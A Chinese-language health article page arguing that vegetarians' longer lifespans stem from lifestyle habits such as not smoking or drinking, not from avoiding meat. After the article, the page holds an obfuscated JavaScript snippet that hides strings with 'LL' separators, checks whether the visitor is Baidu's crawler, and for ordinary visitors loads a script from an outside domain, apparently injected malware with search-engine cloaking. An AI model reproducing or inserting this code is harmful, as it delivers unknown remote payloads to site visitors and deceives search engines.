當前位置:首頁 > 飲食 > 健康飲食 > 正文

長壽未必是素食之功

2016-07-05 07:57:26  來源:360常識網(wǎng)   熱度:
導語:換言之,如果你堅持素食者的那些“健康的生活方式”,比如不抽煙、不喝酒、節(jié)制飲食等等,那么吃肉的你健康長壽的可能性就會跟他們一樣大。

長壽未必是素食之功

長壽未必是素食之功

長壽未必是素食之功

一般而言,現(xiàn)代的膳食指南確實是建議人們的食譜中加入更多的植物性食物。比如美國癌癥研究協(xié)會認為應該有三分之二以上來自于植物。這一推薦實際上針對的是現(xiàn)代西方人的食譜中動物性成分過多而做的。多數(shù)美國人以吃大量的肉和奶制品,植物中的維生素、纖維素、抗氧化劑等成分往往不足,所以需要加大植物成分的比重。但這并不意味著植物性食物就越多越好,以至于到“素食”的地步。

至于素食者是否更加健康長壽,我們當然不能用“某某人吃素,活到了100歲”來證明,因為同樣可以找到整日大魚大肉抽煙喝酒活到100歲的個案。要說明這個問題,需要大量的統(tǒng)計數(shù)據(jù)。在英國和美國進行過幾項涉及人數(shù)多達數(shù)萬、持續(xù)時間十余年的跟蹤。結果發(fā)現(xiàn),素食者的平均壽命確實要比社會平均水平要高。或者說在一定時期內,素食者的死亡率確實比雜食者要低。不過,素食還往往伴隨著其他的生活方式的差異,表面上的壽命或者死亡率的差別并不能說明就是素食產(chǎn)生的結果。

比如,素食者往往飲食節(jié)制,抽煙喝酒的比例也比社會平均水平要低,這些對于健康都有著明確的好處。在多數(shù)研究中,當研究者們剔除了其他因素的影響,發(fā)現(xiàn)素食(或者只吃很少的肉),并不是這些人更加長壽的原因。換言之,如果你堅持素食者的那些“健康的生活方式”,比如不抽煙、不喝酒、節(jié)制飲食等等,那么吃肉的你健康長壽的可能性就會跟他們一樣大。

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}